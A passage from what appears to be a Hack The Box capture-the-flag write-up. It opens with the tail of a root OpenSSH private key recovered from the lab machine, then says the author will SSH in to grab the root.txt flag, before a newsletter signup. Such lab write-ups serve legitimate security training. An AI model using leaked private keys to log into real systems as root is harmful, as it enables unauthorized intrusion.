6urLSMt27NdCStYBvTEzhB86nRJr9ezPmQuExZG7ixTfWrmmGeCXGZt7KIyaT5/VZ1W7Pl
xhDYPO15YxLBhWJ0J3G9v6SN/YH3UYj47i4s0zk6JZMnVGTfCwXOxLgL/w5WJMelDW+l3k
fO8ebYddyVz4w9AAAADnJvb3RAbG9jYWxob3N0AQIDBA==
-----END OPENSSH PRIVATE KEY-----

Now let's ssh in and get the root.txt flag.

hackthebox

Subscribe to the newsletter

Get emails from me about hacking news, tech, and early notification of new writeups.

- subscribers – View all issues